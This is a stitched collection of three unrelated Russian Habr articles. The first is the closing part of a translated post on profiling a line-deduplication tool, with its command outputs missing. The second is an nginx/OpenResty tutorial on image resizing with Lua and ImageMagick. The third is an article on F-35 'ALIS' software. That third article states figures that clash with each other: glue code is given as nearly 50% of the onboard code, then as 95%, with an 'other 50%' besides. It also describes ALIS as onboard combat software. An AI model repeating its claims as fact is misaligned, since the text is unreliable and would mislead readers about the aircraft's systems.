Пришло время применить для этой задачи правильный инструмент — давайте запустим профайлер и посмотрим, над чем работает процессор. Во-первых, запустим `strace` для проверки, что отсутствуют какие-то неожиданные системные вызовы:
Всё выглядит хорошо. Десять вызовов к `mmap` по 4 мс (3971 мкс) интригуют, но это нормально. Предварительно заполняем память с помощью `MAP_POPULATE`, чтобы позже предотвратить ошибки из-за отсутствия страницы.
Каков следующий шаг? Конечно, это `perf`!
Затем посмотрим результат:
Итак, мы действительно сжигаем 87,2% циклов в основном коде. Посмотрим, где именно. Команда `perf annotate process_line --source` сразу показывает нечто неожиданное.
Мы видим, что 26,90% процессора сгорело в `mov`, но это ещё не всё! Компилятор правильно вставляет функцию и разворачивает цикл. Получается, что большинство циклов уходит на этот `mov` или на строку `uint64_t v = *p`!
Очевидно, perf ошибается, как такая простая строка может отнимать столько ресурсов? Но повторение теста с любым другим профайлером показывает ту же проблему. Например, мне нравится использовать google-perftools с kcachegrind из-за красочных диаграмм:
Результат визуализации выглядит следующим образом:
Позвольте подытожить, что мы обнаружили к настоящему моменту.
Стандартная утилита `wc` обрабатывает файл 600 МиБ за 0,45 с процессорного времени. Наш оптимизированный инструмент `mmuniq-bloom` работает 12 секунд. Процессор сжигается на одной инструкции `mov`, разыменовывая память…
*[Изображение](https://flickr.com/photos/jonicdao/6784957048) [Хосе Никдао](https://flickr.com/photos/jonicdao/), CC BY/2.0*
О! Как же я мог забыть. Случайный доступ к памяти — *действительно* медленная штука! Очень, очень, очень медленная!
Согласно [числам, которые должен знать каждый программист](https://habr.com/ru/post/108537/), одно обращение к RAM занимает около 100 нс. Давайте посчитаем: 40 миллионов строк, по 8 хэшей на каждую. Поскольку у нашего фильтра Блума размер 128 МиБ, на [нашем старом железе](https://blog.cloudflare.com/gen-x-performance-tuning/) он не помещается в кэш L3! Хэши равномерно распределены по большому диапазону памяти — каждый из них генерирует промах кэша. Сложим всё вместе, и получается…
Выходит, что 32 секунды сгорают только на обращениях к памяти. Реальная программа укладывается всего в 12 секунд, поскольку фильтр Блума всё-таки извлекает определённую пользу от кэширования. Это легко увидеть с помощью `perf stat -d`:
Да, у нас должно было быть минимум 320 млн промахов кэша (LLC-load-misses), но случилось только 280 млн: это по-прежнему не объясняет, почему программа сработала всего за 12 секунд. Но это не имеет значения. Важно, что количество промахов кэша — это реальная проблема, и мы можем решить её лишь сократив количество обращений к памяти. Попробуем настроить фильтр Блума на использование только одной хэш-функции:
Ай! Это действительно больно! Чтобы получить вероятность коллизий 1 на 10 000 строк, фильтр Блума потребовал 64 гигабайта памяти. Это ужасно!
Кроме того, не похоже, что скорость сильно выросла. Операционной системе потребовалось 22 секунды, чтобы подготовить для нас память, но мы всё равно потратили 11 секунд в пользовательском пространстве. Полагаю, что теперь все преимущества более редкого обращения к памяти компенсируются более низкой вероятностью попадания в кэш из-за резко увеличенного объёма памяти. Раньше фильтру Блума хватало 128 МиБ!
Отказ от фильтров Блума
=======================
Это становится просто смешно. Чтобы снизить вероятность ложноположительных срабатываний, нужно или использовать много хэшей в фильтре Блума (например, восемь) с большим количеством обращений к памяти, или оставить одну хэш-функцию, но задействовать огромные объёмы памяти.
У нас на самом деле нет ограничения на память, мы хотим минимизировать количество обращений к ней. Нам нужна структура данных, которая обходится максимум одним промахом кэша на элемент и использует менее 64 гигабайт оперативной памяти…
Конечно, можно внедрить сложные структуры данных, такие как [фильтр кукушки](https://en.wikipedia.org/wiki/Cuckoo_filter), но наверняка есть вариант попроще. Что насчёт старой доброй хэш-таблицы с линейным зондированием?
*[Иллюстрация](https://www.sysadmins.lv/blog-en/array-search-hash-tables-behind-the-scenes.aspx) [Вадимса Поданса](https://www.sysadmins.lv/about.aspx)*
Встречаем mmuniq-hash
=====================
Вот новая версия mmuniq-bloom, с использованием хэш-таблицы:
* [mmuniq-hash.c](https://github.com/cloudflare/cloudflare-blog/blob/master/2020-02-mmuniq/mmuniq-hash.c)
Вместо битов для фильтра Блума мы теперь храним 64-битные хэши из [функции 'siphash24'](https://idea.popcount.org/2013-01-24-siphash/). Это обеспечивает гораздо лучшую защиту от коллизий хэша: намного лучше, чем одна на 10 000 строк.
Давайте посчитаем. Добавление нового элемента в хэш-таблицу, скажем, с 40 млн записей, даёт вероятность коллизии хэшей `40 000 000/2^64`. Это примерно 1 к 461 миллиардам — достаточно низкая вероятность. Но мы не добавляем один элемент в предварительно заполненное множество! Вместо этого мы добавляем 40 млн строк в изначально пустое множество. Согласно [парадоксу дней рождения](https://en.wikipedia.org/wiki/Birthday_problem), это сильно повышает вероятность коллизии. Разумным приближением будет оценка `'~n^2/2m`, в нашем случае это `~(40M^2)/(2*(2^64))`. Получается один шанс из 23 000. Другими словами, с хорошей хэш-функцией мы ожидаем коллизии в одном из 23 000 случайных множеств по 40 миллионов элементов. Это ненулевая вероятность, но всё же лучше, чем в фильтре Блума, и она полностью терпима для нашего случая использования.
Код с хэш-таблицей работает быстрее, у него лучше шаблоны доступа к памяти и ниже вероятность ложноположительных срабатываний, чем в фильтре Блума.
Не пугайтесь строки «конфликты хэшей», она просто показывает, насколько заполнена хэш-таблица. Мы используем линейное зондирование, поэтому при попадании в полный набор просто берём следующий пустой. В нашем случае приходится пропускать в среднем 0,7 наборов, чтобы найти пустое место в таблице. Это нормально. Поскольку мы перебираем наборы в линейном порядке, память должна качественно заполняться.
Из предыдущего примера мы знаем, что наша хэш-функция выполняется около двух секунд. Делаем вывод, что 40 млн обращений к памяти занимают около четырёх секунд.
Усвоенные уроки
===============
Современные процессоры действительно хороши в последовательном доступе к памяти, когда можно предсказать шаблоны выборки (см. [предварительную выборку кэша](https://en.wikipedia.org/wiki/Cache_prefetching#Methods_of_hardware_prefetching)). С другой стороны, случайный доступ к памяти обходится очень дорого.
Продвинутые структуры данных очень интересны, но будьте осторожны. Современные компьютеры требуют использования алгоритмов, оптимизированных для кэша. При работе с большими наборами данных, которые не помещаются в L3, предпочтение отдаётся оптимизации на количество обращений, а не оптимизации на объём используемой памяти.
Справедливо сказать, что фильтры Блума великолепно себя проявляют, пока помещаются в кэш L3. Но если нет, то они ужасны. Это не новость: фильтры Блума оптимизированы на объём памяти, а не на количество обращений к ней. Например, смотрите [научную статью по фильтрам кукушки](https://www.cs.cmu.edu/~dga/papers/cuckoo-conext2014.pdf).
Другое дело — бесконечные дискуссии о хэш-функциях. Честно говоря, в большинстве случаев это не имеет значения. Стоимость подсчёта даже сложных хэш-функций вроде `siphash24` невелика по сравнению со стоимостью случайного доступа к памяти. В нашем случае упрощение хэш-функции принесёт лишь небольшую выгоду. Процессорное время просто тратится где-то в другом месте — в ожидании памяти!
Один коллега часто говорит: «Можно предположить, что современные процессоры бесконечно быстры. Они работают с бесконечной скоростью, пока не [упираются в стену памяти](http://www.di-srv.unisa.it/~vitsca/SC-2011/DesignPrinciplesMulticoreProcessors/Wulf1995.pdf)».
Наконец, не повторяйте мою ошибку. Всегда нужно сначала выполнить профилирование с `perf stat -d` и посмотреть на счётчик IPC (инструкций на цикл). Если он меньше единицы, обычно это означает, что программа застряла в ожидании памяти. Оптимальны значения выше двух. Это означает, что рабочая нагрузка в основном идёт на CPU. К сожалению, в моих задачах IPC по-прежнему невысок…
Улучшенный mmuniq
=================
При помощи коллег я написал улучшенную версию инструмента mmuniq на основе хэш-таблицы. Вот код:
* [mmuniq.c](https://github.com/cloudflare/cloudflare-blog/blob/master/2020-02-mmuniq/mmuniq.c)
Он умеет динамически изменять размер хэш-таблицы, поддерживает входные данные с произвольным кардинальным числом. Затем обрабатывает данные пакетами, эффективно используя хинт `prefetch` в CPU, что ускоряет программу на 35-40%. Будьте осторожны, обильное использование `prefetch` в коде редко даёт эффект. Чтобы воспользоваться этой функцией, я специально изменил порядок алгоритмов. Со всеми улучшениями время выполнения сократилось до 2,1 секунды:
Конец
=====
Создание базового инструмента, который пытается превзойти по скорости комбинацию 'sort/uniq', выявило некоторые скрытые особенности современных вычислений. Немного попотев, мы ускорили программу с более чем двух минут до двух секунд. Во время разработки мы узнали о задержке случайного доступа к памяти, а также о мощи структур данных, дружественных к кэшу. Причудливые структуры данных привлекают внимание, но на практике зачастую эффективнее оказывается уменьшить количество случайных обращений к памяти. | https://habr.com/ru/post/491132/ | null | ru | null |
# Ресайз изображений на лету с помощью Nginx и LuaJIT (OpenResty)
Уже довольно давно, вдохновившись статьей [Ресайз изображений на лету](https://habr.com/ru/post/77873/) был настроен ресайз изображений с помощью [ngx\_http\_image\_filter\_module](https://nginx.org/ru/docs/http/ngx_http_image_filter_module.html) и все работало как надо. Но появилась одна проблема, когда менеджеру понадобилось получать изображения с точными размерами для заливки на некоторые сервисы, т.к. это были их технические требования. К примеру, если мы имеем оригинал изображения размером **1200x1200**, и при ресайзе мы пишем что-то вроде **?resize=600x400**, то получим пропорционально уменьшенное изображение по наименьшему краю, размером **400x400**. Так же невозможно получить изображение с бОльшим разрешением (upscale). Т.е. **?resize=1500x1500** вернет все тоже изображение **1200x1200**
На помощь пришла статья [OpenResty: превращаем NGINX в полноценный сервер приложений](https://habr.com/ru/post/321864/) для понимания как работает Nginx с Lua и сама библиотека для Lua [isage/lua-imagick](https://github.com/isage/lua-imagick) — Lua pure-c bindings to ImageMagick. Почему было выбрано такое решение, а не, скажем, что-нибудь на python — потому что это быстро и удобно. Вам даже не понадобится создавать никаких файлов, все прямо в конфиге Nginx (не обязательно).
Итак, что нам понадобится
-------------------------
Примеры будут приведены на базе Debian.
### Установка nginx и nginx-extras
```
apt-get update
apt-get install nginx-extras
```
### Установка LuaJIT
```
apt-get -y install lua5.1 luajit-5.1 libluajit-5.1-dev
```
### Установка imagemagick
```
apt-get -y install imagemagick
```
и библиотеки **magickwand** к нему, в моем случае для 6 версии
```
apt-cache search libmagickwand
apt-get -y install libmagickwand-6.q16-3 libmagickwand-6.q16-dev
```
### Сборка lua-imagick
Клонируем репозиторий (ну или забираем zip и распаковываем)
```
cd ~
git clone https://github.com/isage/lua-imagick.git
cd lua-imagick
mkdir build
cd build
cmake ..
make
make install
```
Если все прошло успешно, можно настраивать Nginx.
Приведу пример конфига backend хоста, который, собственно, и занимается ресайзом. Он проксируется фронт сервером так же с Nginx, на котором происходит кэширование на накоторое время (сутки) и пр. вещи.
**nginx backend config**
```
# Backend image server
server {
listen 8082;
listen [::]:8082;
set $files_root /var/www/example.lh/frontend/web;
root $files_root;
access_log off;
expires 1d;
location /files {
# дефолтные значения ресайза
set $w 700;
set $h 700;
set $q 89;
#1-89 allowed
if ($arg_q ~ "^([1-9]|[1-8][0-9])$") {
set $q $arg_q;
}
if ($arg_resize ~ "([\d\-]+)x([\d\+\!\^]+)") {
set $w $1;
set $h $2;
rewrite ^(.*)$ /resize/$w/$h/$q$uri last;
}
rewrite ^(.*)$ /resize/$w/$h/$q$uri last;
}
location ~* ^/resize/([\d]+)/([\d\+\!\^]+)/([\d]+)/files/(.+)$ {
default_type 'text/plain';
set $w $1;
set $h $2;
set $q $3;
set $fname $4;
# Есть возможность вынести весь Lua код в отдельный файл
# content_by_lua_file /var/www/some.lua;
# lua_code_cache off; #dev
content_by_lua '
local magick = require "imagick"
local img = magick.open(ngx.var.files_root .. "/files/" .. ngx.var.fname)
if not img then ngx.exit(ngx.HTTP_NOT_FOUND) end
img:set_gravity(magick.gravity["CenterGravity"])
if string.match(ngx.var.h, "%d+%+") then
local h = string.gsub(ngx.var.h, "(%+)", "")
resize = ngx.var.w .. "x" .. h
-- для png с альфа каналом
img:set_bg_color(img:has_alphachannel() and "none" or img:get_bg_color())
img:smart_resize(resize)
img:extent(ngx.var.w, h)
else
img:smart_resize(ngx.var.w .. "x" .. ngx.var.h)
end
if ngx.var.arg_q then img:set_quality(ngx.var.q) end
ngx.say(img:blob())
';
}
}
# Upstream
upstream imageserver {
server localhost:8082;
}
server {
listen 80;
server_name examaple.lh;
# отправляем все jpg и png картинки на imageserver
location ~* ^/files/.+\.(jpg|png) {
proxy_buffers 8 2m;
proxy_buffer_size 10m;
proxy_busy_buffers_size 10m;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://imageserver; # Backend image server
}
}
```
То, что требовалось (расширение изображения по краям) происходит с помощью `img:extent()` и определяется с помощью параметра `resize` со знаком `+` в конце.
**Доступны следующие параметры:**
* WxH (Keep aspect-ratio, use higher dimension)
* WxH^ (Keep aspect-ratio, use lower dimension (crop))
* WxH! (Ignore aspect-ratio)
* WxH+ (Keep aspect-ratio, add side borders)
**Сводная таблица с результатами ресайза**
| Параметр uri запроса | Размер выходного изображения |
| --- | --- |
| ?resize=400x200 | 200x200 |
| ?resize=400x200^ | 400x400 |
| ?resize=400x200! | 400x200 (Не пропорционально) |
| ?resize=400x200+ | 400x200 (Пропорционально) |
Итог
----
Учитывая всю мощь и простоту такого подхода можно реализовать вещи с довольно сложной логикой, например добавлять watermark'и или реализовать авторизацию с разграниченным доступом. Для того, чтобы узнать возможности API для работы с изображениями, можно обратиться к документации библиотеки [isage/lua-imagick](https://github.com/isage/lua-imagick) | https://habr.com/ru/post/489544/ | null | ru | null |
# Программное ядро бортовой киберинфраструктуры унифицированного ударного истребителя F-35
Обзор ключевых компонентов «автономной информационной системы логистики» (ALIS) унифицированного ударного истребителя F-35. Подробный разбор «блока обеспечения боевого применения» и четырёх его ключевых компонентов: 1) человеко-системный интерфейс, 2) исполнительно-контролирующая система, 3) бортовая иммунная система, 4) система авионики. Некоторые сведения относительно программно-аппаратного обеспечения истребителя F-35 и относительно инструментария, который используется для его бортового программного обеспечения. Приведёно сравнение с более ранними моделями боевых истребителей, и также указаны перспективы для дальнейшего развития армейской авиации.
[– Введение](#a1)
[– Автономная информационная система логистики](#a2)
[– Блок обеспечения боевого применения](#a3)
[– Человеко-системный интерфейс](#a4)
[– Исполнительно-контролирующая система](#a5)
[– Бортовая иммунная система](#a6)
[– Передовая система авионики](#a7)
[– Архитектура ядра ALIS](#a8)
***Истребитель F-35 представляет собой летающий рой всевозможных высокотехнологичных сенсоров, обеспечивающих в сумме «360-градусную ситуационную осведомлённость».***
Введение
--------
Аппаратные системы военно-воздушных сил с течением времени становятся всё более и более сложными. [27] Постепенно усложняется и их киберинфраструктура (программно-аппаратные компоненты, требующие тонкой алгоритмической настройки). На примере американских ВВС можно видеть, как киберинфраструктура боевой авиации, – в сравнении с её традиционными аппаратными компонентами, – постепенно расширилась с менее чем 5% (у F-4, истребителя третьего поколения) до более чем 90% (у F-35, истребителя пятого поколения). [5] За тонкую алгоритмическую настройку этой киберинфраструктуры, в F-35 отвечает новейшее, специально разработанное для этих целей программное обеспечение: «автономная информационная система логистики» (ALIS).
Автономная информационная система логистики
-------------------------------------------
В эру истребителей 5-го поколения боевое превосходство измеряется, прежде всего, качеством ситуационной осведомлённости. [10] Поэтому истребитель F-35 представляет собой летающий рой всевозможных высокотехнологичных сенсоров, обеспечивающих в сумме 360-градусную ситуационную осведомлённость. [11] Новым популярным в этой связи хитом, является т.н. «архитектура интегрированных сенсоров» (ISA), включающая в себя сенсоры, которые самостоятельно динамически взаимодействуют между собой (не только в спокойной, но также и в оспариваемой тактической среде), – что, теоретически, должно привести к ещё большему увеличению качества ситуационной осведомлённости. [7]. Однако чтобы эта теория перешла в практику, необходима качественная алгоритмическая обработка всех поступающих от сенсоров данных.
Поэтому F-35 постоянно носит на своём борту программное обеспечение, общий размер исходных кодов которого превышает 20 миллионов строк, за что его часто называют «летающим компьютером». [6] Поскольку в нынешнюю, пятую эру ударных истребителей боевое превосходство измеряется качеством ситуационной осведомлённости, почти 50% этого программного кода (8,6 миллионов строк) ведёт сложнейшую алгоритмическую обработку – для склеивания всех поступающих от сенсоров данных в единую картину театра боевых действий. В режиме реального времени.
*Динамика смещения обеспечения бортовой функциональности боевых истребителей США – в сторону программного обеспечения*
За это на борту F-35 отвечает «автономная информационная система логистики» (ALIS), которая обеспечивает истребителю такие навыки как 1) планирование (посредством передовых систем авионики), 2) поддержание (способность выступать в роли ведущей боевой единицы) и 3) укрепление (способность выступать в роли ведомой боевой единицы). [4] «Склеивающий код» является главной составляющей ALIS, на долю которой приходится 95% всего бортового программного кода истребителя F-35. Другие 50% программного кода ALIS выполняют в некоторой степени второстепенные, но также алгоритмически очень интенсивные операции. [12] Поэтому F-35 – это одна из сложнейших, когда-либо разрабатываемых, боевых систем. [6]
ALIS – это условно автопилотируемая система, объединяющая в себе интегрированный комплекс самых разнообразных бортовых подсистем; и также включающая в себя эффективное взаимодействие с пилотом, посредством предоставления ему качественной информации о театре боевых действий (ситуационная осведомлённость). Ядро программного обеспечения ALIS постоянно работает в фоновом режиме, оказывая пилоту содействие в принятии решений и давая ему подсказки в критически важные моменты полёта. [13]
Блок обеспечения боевого применения
-----------------------------------
Одна из наиважнейших подсистем ALIS – это «блок обеспечения боевого применения», состоящий из пяти основных элементов [13]:
1) «Человеко-системный интерфейс» – обеспечивает качественную визуализацию театра боевых действий (эргономичную, всеобъемлющую, лаконичную). [12] Наблюдая за этим театром, пилот принимает тактические решения и отдаёт боевые команды, которые в свою очередь обрабатываются блоком ИКС.
2) «Исполнительно-контролирующая система» (ИКС) – взаимодействуя с блоками управления бортового вооружения, обеспечивает исполнение боевых команд, которые посредством человеко-системного интерфеса отдаёт пилот. ИКС также регистрирует фактический ущерб от применения каждой боевой команды (посредством сенсоров обратной связи), – для последующего его анализа системой авионики.
3) «Бортовая иммунная система» (БИС) – отслеживает внешние угрозы и при их обнаружении осуществляет необходимые для устранения угроз контрмеры. При этом БИС может пользоваться поддержкой дружественных боевых единиц, участвующих в совместной тактической операции. [8] Для этого БИС тесно взаимодействует с системами авионики – посредством коммуникационной системы.
4) «Система авионики» – преобразует сырой поток поступающих от всевозможных сенсоров данных, в качественную ситуационную осведомлённость, доступную для пилота посредством человеко-системного интерфейса.
5) «Коммуникационная система» – управляет бортовым и внешним сетевым трафиком, и т.о. служит связующим звеном между всеми бортовыми системами; а также между всеми участвующими в совместной тактической операции, боевыми единицами.
Человеко-системный интерфейс
----------------------------
Для удовлетворения потребности в качественной и всеобъемлющей ситуационной осведомлённости – связь и визуализация в кабине истребителя имеют решающее значение. Лицом ALIS вообще и блока обеспечения боевого применения в частности служит «дисплейная подсистема панорамной визуализации» (L-3 Communications Display Systems). В её состав входят большой сенсорный экран высокой чёткости (LADD) и широкополосный канал связи. Программное обеспечение L-3 работает под управлением ОС Integrity 178B (операционная система реального времени от «Green Hills Software»), – которая является основной бортовой операционной системой истребителя F-35.
Архитекторы киберинфраструктуры F-35 выбрали ОС Integrity 178B, руководствуясь шестью характерными для этой операционной системы особенностями: 1) соблюдение открытых стандартов архитектуры, 2) совместимость с Linux, 3) совместимость с POSIX API, 4) безопасное распределение памяти, 5) обеспечение особых требований по безопасности и 6) поддержка спецификации «ARINC 653». [12] «ARINC 653» представляет собой интерфейс прикладного программного обеспечения для применения в авионике. Этот интерфейс регламентирует временное и пространственное разделение ресурсов авиационной вычислительной системы в соответствии с принципами интегрированной модульной авионики; а также определяет программный интерфейс, которым должно пользоваться прикладное ПО для доступа к ресурсам вычислительной системы.
*Дисплейная подсистема панорамной визуализации*
Исполнительно-контролирующая система
------------------------------------
Как уже было отмечено выше, ИКС, взаимодействуя с блоками управления бортового вооружения, – обеспечивает исполнение боевых команд и регистрацию фактического ущерба от применения каждой боевой команды. Сердце ИКС – это суперкомпьютер, который весьма закономерно также отнесён к «бортовому вооружению».
Поскольку объём возлагаемых на бортовой суперкомпьютер задач колоссален, он имеет повышенную прочность и отвечает высоким требованиям по отказоустойчивости и вычислительной мощности; также он оснащён эффективной системой жидкостного охлаждения. Все эти меры предприняты для того, чтобы бортовая вычислительная система была способна эффективно обрабатывать огромные массивы данных и выполнять передовые алгоритмические обработки, – которые обеспечивают пилоту эффективную ситуационную осведомлённость: дают ему всестороннюю информацию о театре боевых действий. [12]
Бортовой суперкомпьютер истребителя F-35 способен в непрерывном режиме совершать 40 миллиардов операций в секунду, благодаря чему обеспечивает мультизадачное исполнение ресурсоёмких алгоритмов передовой авионики (в том числе обработку электрооптических, инфракрасных и радиолокационных данных). [9] В режиме реального времени. Для истребителя F-35 вести все эти алгоритмически интенсивные вычисления на стороне (чтобы не оснащать каждую боевую единицу суперкомпьютером) не представляется возможным, потому что интенсивность суммарного потока поступающих ото всех сенсоров данных превосходит пропускную способность самых скоростных коммуникационных систем – как минимум в 1000 раз. [12]
Для обеспечения повышенной надёжности, все критически важные бортовые системы истребителя F-35 (в том числе до некоторой степени бортовой суперкомпьютер) реализованы с применением принципа избыточности: чтобы одну и ту же задачу на борту потенциально могли выполнить несколько разных устройств. Причём требование избыточности таково, чтобы дублирующие элементы были разработаны альтернативными производителями и имели альтернативную архитектуру. Благодаря этому вероятность одновременного выхода из строя оригинала и дубликата – снижается. [1, 2] В том числе поэтому ведущий компьютер работает под управлением Linux-подобной операционной системы, а ведомые – под управлением Windows. [2] Также, для того чтобы при сбое одного из компьютеров, блок обеспечения боевого применения мог продолжать функционировать (хотя бы в аварийном режиме), архитектура ядра ALIS построена по принципу «многопоточного клиент-сервера для распределённых вычислений». [18]
Бортовая иммунная система
-------------------------
В оспариваемой тактической среде поддержание бортового иммунитета требует эффективного сочетания устойчивости, избыточности, разнообразия и распределённой функциональности. Вчерашняя боевая авиация не имела единой бортовой иммунной системы (БИС). Её, авиации, БИС была фрагментирована и состояла из нескольких, действующих независимо компонентов. Каждый из этих компонентов был оптимизирован для противостояния определённому узкому набору систем вооружения: 1) баллистическим снарядам, 2) ракетам, наводящимся на источник радиочастотного или электрооптического сигнала, 3) лазерному облучению, 4) радиолокационному облучению и т.д. При обнаружении атаки, соответствующая БИС-подсистема автоматически активировалась и предпринимала контрмеры.
Компоненты вчерашней БИС были спроектированы и разработаны независимо друг от друга – разными подрядчиками. Поскольку эти компоненты, как правило, имели закрытую архитектуру, модернизация БИС, – по мере появления новых технологий и новых систем вооружения, – сводилась к тому, чтобы добавить ещё один независимый БИС-компонент. Принципиальный недостаток такой фрагментированной БИС, – состоящей из независимых компонентов с закрытой архитектурой, – состоит в том, что её фрагменты не могут взаимодействовать между собой и не поддаются централизованной координации. Иначе говоря, они не могут общаться друг с другом и выполнять совместные операции, – что ограничивает надёжность и адаптивность всей БИС в целом. Например, если одна из иммунных подсистем выходит из строя или уничтожается, – другие подсистемы не могут эффективно компенсировать эту потерю. Кроме того, фрагментированность БИС очень часто приводит к дублированию высокотехнологичных компонентов, таких как процессоры и дисплеи, [8] что в условиях «вечно зелёной проблемы» сокращения SWaP (размеры, масса и энергопотребление) [16] – весьма расточительно. Неудивительно, что эти ранние БИС постепенно отживают свой срок.
На смену фрагментированным БИС приходит единая распределённая бортовая иммунная система, – управляемая «интеллектуально-когнитивным контроллером» (ИКК). ИКК представляет собой специальную программу, – бортовую центральную нервную систему, – функционирующую поверх входящих в БИС интегрированных подсистем. Эта программа объединяет все БИС-подсистемы в единую распределённую сеть (с общей информацией и общими ресурсами), а также связывает все БИС с центральным процессором и другими бортовыми системами. [8] Основой для такого объединения (в том числе объединения с компонентами, которые будут разработаны в будущем) является общепринятая концепция «система систем» (SoS), [3] – с такими её отличительными характеристиками, как масштабируемость, общедоступная спецификация и открытая архитектура программно-аппаратного обеспечения.
ИКК имеет доступ к информации всех БИС-подсистем; его функция – в том, чтобы сопоставлять и анализировать поступающую от БИС-подсистем информацию. ИКК постоянно работает в фоновом режиме, непрерывно взаимодействуя со всеми подсистемами БИС, – идентифицируя каждую потенциальную угрозу, локализуя её, и наконец, рекомендуя пилоту оптимальный набор контрмер (с учётом уникальных возможностей каждой из БИС-подсистем). Для этого ИКК использует передовые когнитивные алгоритмы [17-25].
Т.о. у каждого самолёта есть свой индивидуальный ИКК. Однако для достижения ещё большей интеграции (и как следствие, большей надёжности), ИКК всех самолётов, участвующих в тактической операции, – объединяются в единую общую сеть, за координацию которой отвечает «автономная информационная система логистики» (ALIS). [4] Когда один из ИКК идентифицирует угрозу, ALIS просчитывает наиболее эффективные контрмеры, – пользуясь при этом информацией всех ИКК и поддержкой всех участвующих в тактической операции боевых единиц. ALIS «знает» индивидуальные особенности каждого ИКК, и использует их для реализации скоординированных ответных контрмер.
Распределённая БИС имеет дело с внешними (связанными с боевыми действиями противника) и внутренними (связанными с манерой пилотирования и эксплуатационными нюансами) угрозами. На борту истребителя F-35 за обработку внешних угроз отвечает система авионики, а за обработку внутренних – VRAMS («интеллектуальная система информирования о рисках, связанных с опасными для оборудования манёврами»). [13] Главная задача VRAMS состоит в том, чтобы расширить периоды эксплуатации самолёта между сеансами необходимого технического обслуживания. Для этого VRAMS собирает в режиме реального времени информацию о работоспособности базовых бортовых подсистем (двигатель самолёта, вспомогательные приводы, механические компоненты, электрические подсистемы) и анализирует их техническое состояние; учитывая такие параметры, как температурные пики, перепады давления, динамику вибраций и всевозможные помехи. Отталкиваясь от этой информации, VRAMS даёт пилоту заблаговременные рекомендации, каким образом действовать, чтобы оставить самолёт в целости и сохранности. VRAMS «предсказывает», к каким последствиям могут привести те или иные действия пилота, а также даёт рекомендации, как их избежать. [13]
Эталон, к которому стремится VRAMS – это нулевое обслуживание, при сохранении сверхнадёжности и пониженной структурной усталости. Для реализации этой задачи научно-исследовательские лаборатории работают над созданием материалов с умной структурой, – которые будут способны эффективно работать в условиях нулевого обслуживания. Научные сотрудники этих лабораторий разрабатывают методы для обнаружения микротрещин и других предшествующих поломкам явлений, – чтобы заблаговременно предотвращать возможные неисправности. Также ведутся исследования в направлении лучшего понимания феномена структурной усталости, чтобы используя эти данные, регулировать авиационные манёвры с целью сокращения структурной усталости – и т.о. продлить срок полезного использования самолёта. [13] В этой связи интересно отметить, что порядка 50% статей журнала «Advanced in Engineering Software» посвящены анализу прочности и уязвимости железобетонных и других конструкций.
*Интеллектуальная система информирования о рисках, связанных с опасными для оборудования манёврами*
Передовая система авионики
--------------------------
Бортовой блок обеспечения боевого применения истребителя F-35 включает в себя передовую систему авионики, которая призвана решить амбициозную задачу:
Вчерашние системы авионики включали в себя несколько независимых подсистем (управляющих инфракрасным и ультрафиолетовым сенсорами, радаром, сонаром, РЭБ и другими), каждая из которых была оснащена своим собственным дисплеем. Из-за чего пилоту приходилось по очереди смотреть на каждый из дисплеев и вручную анализировать и сопоставлять поступающие с них данные. С другой стороны, сегодняшняя система авионики, которой в частности оснащён истребитель F-35 – представляет все данные, ранее разрозненные, как единый ресурс; на одном общем дисплее. Т.о. современная система авионики – это интегрированный сетецентрический комплекс слияния данных, который обеспечивает пилоту наиболее эффективную ситуационную осведомлённость; избавляя его при этом от необходимости совершать сложные аналитические расчёты. В результате, благодаря исключению человеческого фактора из аналитической петли, пилот теперь может не отвлекаться от основного боевого задания.
Одна из первых значительных попыток исключить человеческий фактор из аналитической петли авионики – реализована в киберинфраструктуре истребителя F-22. На борту этого истребителя за качественное склеивание поступающих от всевозможных сенсоров данных, отвечает алгоритмически интенсивная программа, общий размер исходных кодов которой составляет 1,7 миллионов строк. При этом, 90% кода написано на языке Ada. Однако современная система авионики, – управляемая программой ALIS, – которой оснащён истребитель F-35, по сравнению с истребителем F-22 продвинулась значительно вперёд.
Прототипом ALIS послужило программное обеспечение истребителя F-22. Однако за склеивание данных теперь отвечают не 1,7 миллионов строк кода, – а 8,6 миллионов. При этом, подавляющая часть кода написана на C/C++. Главная задача всего этого, алгоритмически интенсивного кода, – оценить, какая информация будет для пилота актуальной. В результате, благодаря тому, что в картине театра боевых действий присутствуют только принципиально важные данные, пилот теперь имеет возможность принимать более быстрые и более эффективные решения. Т.о. современная система авионики, которой в частности оснащён истребитель F-35, снимает с пилота аналитическое бремя, и наконец-то разрешает ему – просто летать. [12]
*Авионика старого образца*
**Врезка: Используемые на борту F-35 инструменты разработки**Некоторые [малочисленные] компоненты программного обеспечения бортовой киберинфраструктуры F-35 написаны на таких реликтовых языках, как Ada, CMS-2Y, FORTRAN. Программные блоки, написанные на Ada – как правило позаимствованы у истребителя F-22. [12] Однако код написанный на этих реликтовых языках, – это лишь небольшая часть программного обеспечения F-35. Основной для F-35 язык программирования – это C/C++. Также на борту F-35 используются реляционные и объектно-ориентированные базы данных. [14] Базы данных используются на борту для эффективной работы с большими данными. Для того чтобы эту работу можно было осуществлять в режиме реального времени, базы данных используются в сочетании с аппаратным ускорителем анализа графов. [15]
**Врезка: Бэкдоры в F-35**Все компоненты, из которых состоит современная американская военная техника – 1) либо изготовлены на заказ, 2) либо кастомизированы из доступных коммерческих продуктов, 3) либо представляют собой коробочное коммерческое решение. При этом во всех этих трёх случаях производители, либо отдельных компонентов, либо всей системы в целом, – имеют сомнительную родословную, которая как правило берёт своё начало за пределами страны. В результате есть риск, что в каком-нибудь из звеньев цепи поставок (которая зачастую по всему миру растянута) – в программно-аппаратный компонент встроят бэкдор или малварь (либо на программном, либо на аппаратном уровне). Кроме того, известно, что американские ВВС используют более 1 миллиона контрафактных электронных компонентов, что также увеличивает вероятность появления на борту вредоносного кода и бэкдоров. Не говоря уже о том, что контрафакт это как правило некачественная и нестабильная копия оригинала, – со всеми вытекающими. [5]
Архитектура ядра ALIS
---------------------
Резюмируя описание всех бортовых систем, можно сказать, что основные к ним требования сводятся к следующим тезисам: интегративность и масштабируемость; общедоступная спецификация и открытая архитектура; эргономичность и лаконичность; устойчивость, избыточность, разнообразие, повышенная отказоустойчивость и прочность; распределённая функциональность. Архитектура ядра ALIS – это комплексный ответ на все эти широкие и амбициозные противоречивые требования, которые предъявляются к унифицированному ударному истребителю F-35.
